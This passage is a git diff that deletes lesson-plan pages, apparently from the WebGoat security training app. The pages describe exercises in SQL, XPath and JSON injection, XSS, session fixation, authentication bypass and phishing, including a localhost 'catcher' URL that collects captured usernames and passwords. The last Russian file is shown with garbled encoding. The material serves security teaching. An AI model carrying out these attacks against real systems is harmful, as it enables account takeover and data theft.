-Understand the advantages of encrypting the login data! - diff --git a/src/main/webapp/lesson_plans/en/JSONInjection.html b/src/main/webapp/lesson_plans/en/JSONInjection.html deleted file mode 100644 index 4c72bd04f..000000000 --- a/src/main/webapp/lesson_plans/en/JSONInjection.html +++ /dev/null @@ -1,24 +0,0 @@ -
-

Lesson Plan Title: How to Perform JSON Injection

-
- -

Concept / Topic To Teach:

-This lesson teaches how to perform JSON Injection Attacks. -
-
-

-How the attacks works: -

-JavaScript Object Notation (JSON) is a simple and effective lightweight data exchange format. JSON can be in a lot of forms such as arrays, lists, hashtables and other data structures. -JSON is widely used in AJAX and Web2.0 application and is favored by programmers over XML because of its ease of use and speed. -However, JSON, like XML is prone to Injection attacks. A malicious attacker can inject the reply from the server and inject some arbitrary values in there. - -
-

General Goal(s):

- -* You are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code SEA.
-* Once you enter the three digit code of the airport, an AJAX request will be executed asking for the ticket price.
-* You will notice that there are two flights available, an expensive one with no stops and another cheaper one with 2 stops.
-* Your goal is to try to get the one with no stops but for a cheaper price. - - diff --git a/src/main/webapp/lesson_plans/en/JavaScriptValidation.html b/src/main/webapp/lesson_plans/en/JavaScriptValidation.html deleted file mode 100644 index 7819de2bf..000000000 --- a/src/main/webapp/lesson_plans/en/JavaScriptValidation.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lesson Plan Title: How to Bypass Client Side JavaScript Validation

-
-

Concept / Topic To Teach:

- -Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application. - -
-

General Goal(s):

-For this exercise, the web site requires that you follow certain rules when you fill out a form. The user should be able to break those rules, and send the website input that it wasn't expecting.
- -This website performs both client and server side validation. For this exercise, your job is to break the client side validation and send the - website input that it wasn't expecting. You must break all 7 validators at the same time. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/Lesson_Plan_Template.html b/src/main/webapp/lesson_plans/en/Lesson_Plan_Template.html deleted file mode 100644 index 66293a95c..000000000 --- a/src/main/webapp/lesson_plans/en/Lesson_Plan_Template.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Lesson Plan Title:

-
- -

Concept / Topic To Teach:

-

Standards Addressed:

-

General Goal(s):

-

Specific Objectives:

-

Required Materials:

-

Anticipatory Set (Lead-In):

-

Step-By-Step Procedures:

-

Plan For Independent Practice:

-

Closure (Reflect Anticipatory Set):

-

Assessment Based On Objectives:

-

Extensions (For Gifted Students):

-

Possible Connections To Other Subjects:

- \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/LogSpoofing.html b/src/main/webapp/lesson_plans/en/LogSpoofing.html deleted file mode 100644 index 105e38f54..000000000 --- a/src/main/webapp/lesson_plans/en/LogSpoofing.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Lesson Plan Title: How to Perform Log Spoofing.

-
- -

Concept / Topic To Teach:

- This lesson teaches attempts to fool the human eye. -
-
-

-How the attacks works: -The attack is based on fooling the humane eye in log files. An attacker can erase his traces from the logs -using this attack. -

-
-

General Goal(s):

- -* The grey area below represents what is going to be logged in the web server's log file.
-* Your goal is to make it like a username "admin" has succeeded into logging in.
-* Elevate your attack by adding a script to the log file. - diff --git a/src/main/webapp/lesson_plans/en/MultiLevelLogin1.html b/src/main/webapp/lesson_plans/en/MultiLevelLogin1.html deleted file mode 100644 index b5bd6118d..000000000 --- a/src/main/webapp/lesson_plans/en/MultiLevelLogin1.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Lesson Plan Title: Multi Level Login 1

-
-

Concept / Topic To Teach:

- -A Multi Level Login should provide a strong authentication. -This is archived by adding a second layer. After having -logged in with your user name and password you are asked -for a 'Transaction Authentication Number' (TAN). This is -often used by online banking. You get a list with a lots -of TANs generated only for you by the bank. Each TAN is used only once. -Another method is to provide the TAN by SMS. This has -the advantage that an attacker can not get TANs provided -by the user. -

General Goal(s):

-In this Lesson you try to get around the strong authentication. -You have to break into another account. The user name, password and a -already used TAN is provided. You have to make sure -the server accept the TAN even it is already used. - diff --git a/src/main/webapp/lesson_plans/en/MultiLevelLogin2.html b/src/main/webapp/lesson_plans/en/MultiLevelLogin2.html deleted file mode 100644 index 3514b7148..000000000 --- a/src/main/webapp/lesson_plans/en/MultiLevelLogin2.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Lesson Plan Title: Multi Level Login 2

-
-

Concept / Topic To Teach:

- -A Multi Level Login should provide a strong authentication. -This is archived by adding a second layer. After having -logged in with your user name and password you are asked -for a 'Transaction Authentication Number' (TAN). This is -often used by online banking. You get a list with a lots -of TANs generated only for you by the bank. Each TAN is used only once. -Another method is to provide the TAN by SMS. This has -the advantage that an attacker can not get TANs provided -by the user. -

General Goal(s):

-In this lesson you have to try to break into another account. -You have an own account for WebGoat Financial but you want to -log into another account only knowing the user name of the victim -to attack. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/NewLesson.html b/src/main/webapp/lesson_plans/en/NewLesson.html deleted file mode 100644 index 234b170d8..000000000 --- a/src/main/webapp/lesson_plans/en/NewLesson.html +++ /dev/null @@ -1,13 +0,0 @@ - - -

Create A WebGoat Lesson

-

-Adding lessons to WebGoat is very easy. If you have an idea that would be suitable
-for a new lesson, follow these few simple instructions to implement it:

-* Download the source code from here.

-* Setup framework: follow the simple instructions in "HOW TO create the WebGoat workspace.txt" that comes with the project.

-* You need to add two files for each new lesson:
-  - YourLesson.java to org.owasp.webgoat.lessons
-  - YourLesson.html to WebContent/lesson_plans

- - diff --git a/src/main/webapp/lesson_plans/en/OffByOne.html b/src/main/webapp/lesson_plans/en/OffByOne.html deleted file mode 100644 index b35b95996..000000000 --- a/src/main/webapp/lesson_plans/en/OffByOne.html +++ /dev/null @@ -1,21 +0,0 @@ -
-

Lesson Plan Title: How to Exploit "Off-by-One" Buffer Overflow Vulnerabilities

-
-

Concept / Topic To Teach:

-How to Exploit a Web Based "Off-by-One" Buffer Overflow. -
-
-

How the attack works: -

-Despite being more rare, buffer overflow vulnerabilities on the web occur when a tier of the application has insufficient memory allocated to deal with the data submitted by the user. Typically, such a tier would be written in C or a similar language. - -For the particular subset, namely, off-by-one overflows, this lesson focuses on the consequences of being able to overwrite the position for the trailing null byte. - -As a result, further information is returned back to the user, due to the fact that no null byte was found. -
-

Lesson Goal(s):

- -

Welcome to the OWASP Hotel! Can you find out which room a VIP guest is staying in?

- -* Understand how a buffer overflow vulnerability can be triggered on a web application.
-* Understand what type of value lengths are likely to trigger a buffer overflow.
\ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/PasswordStrength.html b/src/main/webapp/lesson_plans/en/PasswordStrength.html deleted file mode 100644 index f700fb8fd..000000000 --- a/src/main/webapp/lesson_plans/en/PasswordStrength.html +++ /dev/null @@ -1,11 +0,0 @@ -
-

Lesson Plan Title: Password Strength

-
-

Concept / Topic To Teach:

- -Accounts are only as secure as their passwords. Most users have the same weak password everywhere. If you want to protect them against brute-force-attacks your application should have good requirements for passwords. The password should contain lower case letters, capitals, numbers and special characters. The longer the password, the better, consider using a passphrase instead. For -more information see: OWASP proper password strength. - -

-

General Goal(s):

- For this exercise, your job is to test several passwords on https://howsecureismypassword.net/ \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/PathBasedAccessControl.html b/src/main/webapp/lesson_plans/en/PathBasedAccessControl.html deleted file mode 100644 index 235bd2528..000000000 --- a/src/main/webapp/lesson_plans/en/PathBasedAccessControl.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Bypass a Path Based Access Control Scheme

-
-

Concept / Topic To Teach:

- -In a path based access control scheme, an attacker can traverse a path by providing relative path information. Therefore an attacker can use relative paths to access files that normally are not directly accessible by anyone, or would otherwise be denied if requested directly. - -

General Goal(s):

-The user should be able to access a file that is not in the listed directory. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/Phishing.html b/src/main/webapp/lesson_plans/en/Phishing.html deleted file mode 100644 index 9b0127d14..000000000 --- a/src/main/webapp/lesson_plans/en/Phishing.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lesson Plan Title: Phishing with XSS

-
-

Concept / Topic To Teach:

- -It is always a good practice to validate all input on the server side. - XSS can occur when unvalidated user input is used in an HTTP response. - With the help of XSS you can do a Phishing Attack and add content to a page - which looks official. It is very hard for a victim to determinate - that the content is malicious. - -

General Goal(s):

-The user should be able to add a form asking for username -and password. On submit the input should be sent -to http://localhost/WebGoat/catcher?PROPERTY=yes &user=catchedUserName&password=catchedPasswordName - diff --git a/src/main/webapp/lesson_plans/en/ReflectedXSS.html b/src/main/webapp/lesson_plans/en/ReflectedXSS.html deleted file mode 100644 index 9db959e07..000000000 --- a/src/main/webapp/lesson_plans/en/ReflectedXSS.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Lesson Plan Title: How to Perform Reflected Cross Site Scripting (XSS)

-
-

Concept / Topic To Teach:

- -It is always a good practice to validate all input on the server side. - XSS can occur when unvalidated user input is used in an HTTP response. - In a reflected XSS attack, an attacker can craft a URL with the attack - script and post it to another website, email it, or otherwise get a - victim to click on it. - -

General Goal(s):

-For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/RemoteAdminFlaw.html b/src/main/webapp/lesson_plans/en/RemoteAdminFlaw.html deleted file mode 100644 index e852cbcba..000000000 --- a/src/main/webapp/lesson_plans/en/RemoteAdminFlaw.html +++ /dev/null @@ -1,11 +0,0 @@ -
-

Lesson Plan Title: How to Force Browser Web Resources

-
-

Concept / Topic To Teach:

-Applications will often have an administrative interface that allows privileged users access to functionality that normal users shouldn't see. The application server will often have an admin interface as well. -

Standards Addressed :

-

General Goal(s): - -Try to access the administrative interface for WebGoat. You may also try to access the administrative interface for Tomcat. The Tomcat admin interface can be accessed via a URL (/admin) and will not count towards the completion of this lesson. - -

diff --git a/src/main/webapp/lesson_plans/en/RoleBasedAccessControl.html b/src/main/webapp/lesson_plans/en/RoleBasedAccessControl.html deleted file mode 100644 index 132dc235f..000000000 --- a/src/main/webapp/lesson_plans/en/RoleBasedAccessControl.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Lesson Plan Title: Role Based Access Control

-
-

Concept / Topic To Teach:

- -In role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow obtain unauthorized roles. - -

General Goal(s):

-Your goal is to explore the access control rules that govern this site. Each role has permission to certain resources (A-F). Each user is assigned one or more roles. Only the user with the [Admin] role should have access to the 'F' resources. In a successful attack, a user doesn't have the [Admin] role can access resource F. -

Lesson Resources:

-Org Chart -
-Access Control Matrix -
-Database Schema diff --git a/src/main/webapp/lesson_plans/en/SQLInjection.html b/src/main/webapp/lesson_plans/en/SQLInjection.html deleted file mode 100644 index 95f4ae304..000000000 --- a/src/main/webapp/lesson_plans/en/SQLInjection.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lesson Plan Title: How to Perform a SQL Injection

-
- -

Concept / Topic To Teach:

- -SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. -

-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.
-

General Goal(s):

-For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/SameOriginPolicyProtection.html b/src/main/webapp/lesson_plans/en/SameOriginPolicyProtection.html deleted file mode 100644 index b7db5d10e..000000000 --- a/src/main/webapp/lesson_plans/en/SameOriginPolicyProtection.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Lesson Plan Title: Same Origin Policy Protection

-
-

Concept / Topic To Teach:

- -A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous -calls from the client side to a server. However, as a security measure these requests may -only be made to the server from which the client page originated. - -

General Goal(s):

-This exercise demonstrates the Same Origin Policy Protection. XHR requests -can only be passed back to the originating server. Attempts to pass data to -a non-originating server will fail."; diff --git a/src/main/webapp/lesson_plans/en/SessionFixation.html b/src/main/webapp/lesson_plans/en/SessionFixation.html deleted file mode 100644 index c7e70f3aa..000000000 --- a/src/main/webapp/lesson_plans/en/SessionFixation.html +++ /dev/null @@ -1,33 +0,0 @@ -
-

Lesson Plan Title: Session Fixation

-
- -

Concept / Topic To Teach:

-How to steal a session with a 'Session Fixation' -
-
-

-How the attacks works: -

-A user is recognized by the server by an unique Session ID. If a -user has logged in and is authorized he does not have to -reauthorize when he revisits the application as the user is recognized -by the Session ID. In some applications it is possible to deliver -the Session ID in the Get-Request. Here is where the attack starts. -

-An attacker can send a hyperlink to a victim with a chosen Session ID. -This can be done for example by a prepared mail which looks like an -official mail from the application administrator. -If the victim clicks on the link and logs in he is authorized -by the Session ID the attacker has chosen. The attacker -can visit the page with the same ID and is recognized as the victim and -gets logged in without authorization. -
-

General Goal(s):

- -This lesson has several stages. You play the attacker but also the victim. -After having done this lesson it should be understood how -a Session Fixation in general works. It should be also understood that -it is a bad idea to use the Get-Request for Session IDs. - - diff --git a/src/main/webapp/lesson_plans/en/SilentTransactions.html b/src/main/webapp/lesson_plans/en/SilentTransactions.html deleted file mode 100644 index d3377dce8..000000000 --- a/src/main/webapp/lesson_plans/en/SilentTransactions.html +++ /dev/null @@ -1,24 +0,0 @@ -
-

Lesson Plan Title: How to Perform Silent Transactions Attacks.

-
- -

Concept / Topic To Teach:

-This lesson teaches how to perform silent transactions attacks. -
-
-

-How the attacks works: -

-Any system that silently processes transactions using a single submission is dangerous to the client. -For example, if a normal web application allows a simple URL submission, a preset session attack will -allow the attacker to complete a transaction without the user’s authorization. -In Ajax, it gets worse: the transaction is silent; it happens with no user feedback on the page, -so an injected attack script may be able to steal money from the client without authorization.
-
-

General Goal(s):

- -* This is a sample internet banking application - money transfer page.
-* It shows below your balance, the account you are transferring to and amount you will transfer.
-* The application uses AJAX to submit the transaction after doing some basic client side validations.
-* Your goal is to try to bypass the user's authorization and silently execute the transaction.
- diff --git a/src/main/webapp/lesson_plans/en/SoapRequest.html b/src/main/webapp/lesson_plans/en/SoapRequest.html deleted file mode 100644 index b96226617..000000000 --- a/src/main/webapp/lesson_plans/en/SoapRequest.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Create a SOAP Request

-
-

Concept / Topic To Teach:

- -Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL). Let's learn something about WSDL files. Check out WebGoat's web service description language (WSDL) file. -

General Goal(s):

-Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service is: http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by adding a ?WSDL on the end of the web service request. You must access 2 of the operations to pass this lesson. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/SqlNumericInjection.html b/src/main/webapp/lesson_plans/en/SqlNumericInjection.html deleted file mode 100644 index a081c1a29..000000000 --- a/src/main/webapp/lesson_plans/en/SqlNumericInjection.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lesson Plan Title: How to Perform Numeric SQL Injection

-
- -

Concept / Topic To Teach:

- -SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. -

-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
-

General Goal(s):

-The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/StoredXss.html b/src/main/webapp/lesson_plans/en/StoredXss.html deleted file mode 100644 index e2662164f..000000000 --- a/src/main/webapp/lesson_plans/en/StoredXss.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Perform Stored Cross Site Scripting (XSS)

-
-

Concept / Topic To Teach:

- -It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved. - -

General Goal(s):

-The user should be able to add message content that cause another user to load an undesireable page or content. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/ThreadSafetyProblem.html b/src/main/webapp/lesson_plans/en/ThreadSafetyProblem.html deleted file mode 100644 index 1b01a915d..000000000 --- a/src/main/webapp/lesson_plans/en/ThreadSafetyProblem.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - Lesson Plan - - - -
-

Lesson Plan Title: How to Exploit Thread Safety Problems

-
- -

Concept / Topic To Teach:

- - Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe.  Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
- -

General Goal(s):

-The user should be able to exploit the concurrency error in the web application and view login information for another user that is attempting the same function at the same time. This will require the use of two browsers. -
- - diff --git a/src/main/webapp/lesson_plans/en/TomcatSetup.html b/src/main/webapp/lesson_plans/en/TomcatSetup.html deleted file mode 100644 index decbd49df..000000000 --- a/src/main/webapp/lesson_plans/en/TomcatSetup.html +++ /dev/null @@ -1,80 +0,0 @@ - -

How To Configure Tomcat



-

Introduction

-

WebGoat comes with default configurations for Tomcat. This page will explain these configurations -and other possible configurations for Tomcat. This is just -a short description which should be enough in most cases. For more advanced tasks please -refer to the Tomcat documentation. Please note that all solutions -are written for the standard configurations on port 80 or 8080. If you use another port you have -to adjust the solution to your configuration.

- -

The Standard Configurations

-

WebGoat has multiple ways of being run. The -WebGoat Wiki is the best place to find the latest configuration instructions. -By default WebGoat will run on port 8080. In the basic configurations you use the server on your localhost. -In Linux you have to start WebGoat as root or with sudo if you want to run it on port 80 and - 443. Running software as root is dangerous we strongly advice to use -the port 8080 and 8443. -

- -

Server Configurations

-

-If you are a single user of WebGoat the standard configurations should be -enough but if you want to use WebGoat in laboratory or in class there -might be the need to change the configurations. Before changing -the configurations we recommend doing a backup of the files you change. -

- -

Change Ports

-

-To change the ports open Tomcat's server.xml which you find in tomcat/conf and change the -non-SSL port. If you want to change your -Tomcat server to use it on port 8079 for example: -

- -
-<!-- Define a non-SSL HTTP/1.1 Connector on port 8079 --> 
-<Connector address="127.0.0.1" port="8079"...
-
-

-You can also change the SSL connector to another port of course. -In this example to port 8442: -

-
-<!-- Define a SSL HTTP/1.1 Connector on port 8442 --> 
-<Connector address="127.0.0.1" port="8442"... 
-
-

-You can also modify WebGoat's pom.xml file to change the port. You will need to modify -the tomcat7-maven-plugin plugin configuration. -

-
- -

Make WebGoat Reachable From Another Client

-

THIS MAKES IT POSSIBLE TO REALLY ATTACK YOUR SERVER! DO NOT DO THIS - UNTIL YOU KNOW WHAT YOU ARE DOING. THIS CONFIGURATION SHOULD BE ONLY USED IN -SAFE NETWORKS!

-

By its default configuration, WebGoat is only -reachable within the localhost. In a laboratory or a class -there is maybe the need of having a server and a few clients. -In this case it is possible to make WebGoat reachable. -

- -

Permit Only Certain Client Connection

-

-If you have made WebGoat reachable it is reachable for -all clients. If you want to make it reachable only for certain clients specified -by their IP you can archive this by using a 'Remote Address Filter'. -The filter can be set in a whitebox or blackbox approach. Here is -only discussed the whitebox approach. You have to add following lines to the -Host section of server.xml in your Tomcat server configuration: -

-
-	<Valve className="org.apache.catalina.valves.RemoteAddrValve"
-	allow="127.0.0.1,ip1,ip2"/>
-
-

In this case only localhost, ip1 and ip2 are permitted to connect.

- - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/TraceXSS.html b/src/main/webapp/lesson_plans/en/TraceXSS.html deleted file mode 100644 index 2358d4fc4..000000000 --- a/src/main/webapp/lesson_plans/en/TraceXSS.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Perform Cross Site Tracing (XST) Attacks

-
-

Concept / Topic To Teach:

- -It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved. -

General Goal(s):

-Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross Site Tracing (XST) attack. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/UncheckedEmail.html b/src/main/webapp/lesson_plans/en/UncheckedEmail.html deleted file mode 100644 index db3c630e9..000000000 --- a/src/main/webapp/lesson_plans/en/UncheckedEmail.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Exploit Unchecked Email

-
-

Concept / Topic To Teach:

- -It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send email to a 'friend'. This is a great mechanism for spammers to send out email using your corporate mail server. - -

General Goal(s):

-The user should be able to send and obnoxious email message. diff --git a/src/main/webapp/lesson_plans/en/UsefulTools.html b/src/main/webapp/lesson_plans/en/UsefulTools.html deleted file mode 100644 index 99bee445d..000000000 --- a/src/main/webapp/lesson_plans/en/UsefulTools.html +++ /dev/null @@ -1,41 +0,0 @@ - - -

Useful Tools

-

-Below is a list of tools we've found useful in solving the WebGoat lessons. You will need a proxy like OWASP ZAP or Paros to solve most of the lessons.

-

OWASP ZAP:

-

-Like WebGoat, Zed Attack Proxy (ZAP) is a part of OWASP and is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. -It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. -ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually..

-

-Webpage: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project -
The .jar install file can be found at the OWASP ZAP Google Code Project

-

After installing ZAP and configuring your browser to use it as a proxy on localhost we can start. To intercept a request, -click the green arrow icon turning it red. If we browse a WebGoat page, ZAP will intercept the HTTP request. -Here we can read and edit the intercepted parameters and headers. After editing is complete press the play icon to submit the request to the server.
-

-

-

Modern Browsers:

-

-Most modern browser have developer tools that will allow you to inspect and modify request data. -

- -

Wireshark

-

-Wireshark is a network protocol analyzer. You can sniff network traffic and gather useful -informations this way.

-

-Webpage:http://www.wireshark.org - -

- -

Scanners (Attacking Proxies):

-

-There are many vulnerability scanners for your own web applications. They can find XSS, Injection Flaws and other vulnerabilities. Below are links to three open source scanners.

-Nessus:http://www.nessus.org
-Paros:http://www.parosproxy.org
-OWASP ZAP:https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
-

- -
diff --git a/src/main/webapp/lesson_plans/en/WSDLScanning.html b/src/main/webapp/lesson_plans/en/WSDLScanning.html deleted file mode 100644 index dd80ef598..000000000 --- a/src/main/webapp/lesson_plans/en/WSDLScanning.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Perform WSDL Scanning

-
-

Concept / Topic To Teach:

- -Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. -

General Goal(s):

-This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/WeakAuthenticationCookie.html b/src/main/webapp/lesson_plans/en/WeakAuthenticationCookie.html deleted file mode 100644 index 9c9b86c8a..000000000 --- a/src/main/webapp/lesson_plans/en/WeakAuthenticationCookie.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: How to Spoof an Authentication Cookie

-
- -

Concept / Topic To Teach:

- -Many applications will automatically log a user into their site if the right authentication cookie is specified.   Some times the cookie values can be guessed if the algorithm for generating the cookie can be obtained.  Some times the cookies are left on the client machine and can be stolen by exploiting another system vulnerability.  Some times the cookies maybe intercepted using Cross site scripting.  This lesson tries to make the student aware of authentication cookies and presents the student with a way to defeat the cookie authentication method in this lesson.
-

General Goal(s):

- - The user should be able to bypass the authentication check. -Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect. When you understand the authentication cookie, try changing your identity to alice. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/WeakSessionID.html b/src/main/webapp/lesson_plans/en/WeakSessionID.html deleted file mode 100644 index 45157e0b5..000000000 --- a/src/main/webapp/lesson_plans/en/WeakSessionID.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Hijack a Session

-
-

Concept / Topic To Teach:

- -Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. -

General Goal(s):

-Try to access an authenticated session belonging to someone else. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/WelcomeScreeen.html b/src/main/webapp/lesson_plans/en/WelcomeScreeen.html deleted file mode 100644 index be93e40e2..000000000 --- a/src/main/webapp/lesson_plans/en/WelcomeScreeen.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lesson Plan Title:Welcome

-
-

Concept / Topic To Teach:

-This lesson presents the basics for understanding the transfer of data between the browser and the web application. -

Standards Addressed:

-

General Goal(s):

-

Specific Objectives:

-

Required Materials:

-

Anticipatory Set (Lead-In):

-

Step-By-Step Procedures:

-

Plan For Independent Practice:

-

Closure (Reflect Anticipatory Set):

-

Assessment Based On Objectives:

-

Extensions (For Gifted Students):

-

Possible Connections To Other Subjects:

\ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/WsSAXInjection.html b/src/main/webapp/lesson_plans/en/WsSAXInjection.html deleted file mode 100644 index 23a2e8607..000000000 --- a/src/main/webapp/lesson_plans/en/WsSAXInjection.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Lesson Plan Title: How to Perform Web Service SAX Injection

-
-

Concept / Topic To Teach:

- -Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. -

General Goal(s):

-Some web interfaces make use of Web Services in the background. If the frontend relies on the web service for all input validation, it may be possible to corrupt the XML that the web interface sends. -
-
-In this exercise, try to change the password for a user other than 101. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/WsSqlInjection.html b/src/main/webapp/lesson_plans/en/WsSqlInjection.html deleted file mode 100644 index 95738b0bf..000000000 --- a/src/main/webapp/lesson_plans/en/WsSqlInjection.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Lesson Plan Title: How to Perform Web Service SQL Injection

-
-

Concept / Topic To Teach:

- -Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. -

General Goal(s):

-Check the web service description language (WSDL) file and try to obtain multiple customer credit card numbers. You will not see the results returned to this screen. When you believe you have suceeded, refresh the page and look for the 'green star'. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/en/XMLInjection.html b/src/main/webapp/lesson_plans/en/XMLInjection.html deleted file mode 100644 index fc9c73697..000000000 --- a/src/main/webapp/lesson_plans/en/XMLInjection.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Lesson Plan Title: How to Perform XML Injection Attacks.

-
- -

Concept / Topic To Teach:

- This lesson teaches how to perform XML Injection attacks. -
-
-

-How the attacks works: -

-AJAX applications use XML to exchange information with the server. This XML can be easily intercepted and altered by a malicious attacker. - -
-

General Goal(s):

- -WebGoat-Miles Reward Miles shows all the rewards available. Once you've entered your account ID, the lesson will show you your balance and the products you can afford. Your goal is to try to add more rewards to your allowed set of rewards. Your account ID is 836239. - - diff --git a/src/main/webapp/lesson_plans/en/XPATHInjection.html b/src/main/webapp/lesson_plans/en/XPATHInjection.html deleted file mode 100644 index 926d8f151..000000000 --- a/src/main/webapp/lesson_plans/en/XPATHInjection.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Lesson Plan Title: How to Perform XPATH Injection Attacks.

-
- -

Concept / Topic To Teach:

- This lesson teaches how to perform XPath Injection attacks. -
-
-

-How the attacks works: -

-Similar to SQL Injection, XPATH Injection attacks occur when a web site uses user supplied information to query XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured or access data that they may not normally have access to. -They may even be able to elevate their privileges on the web site if the xml data is being used for authentication (such as an xml based user file). - -Querying XML is done with XPath, a type of simple descriptive statement that allows the xml query to locate a piece of information. Like SQL you can specify certain attributes to find and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data. - - -
-

General Goal(s):

- -The form below allows employees to see all their personal data including their salaries. Your account is Mike/test123. Your goal is to try to see other employees data as well. - diff --git a/src/main/webapp/lesson_plans/ru/AccessControlMatrix.html b/src/main/webapp/lesson_plans/ru/AccessControlMatrix.html deleted file mode 100644 index e45d57ddf..000000000 --- a/src/main/webapp/lesson_plans/ru/AccessControlMatrix.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Ðазвание урока: ИÑпользование матрицы ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð´Ð¾Ñтупа

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

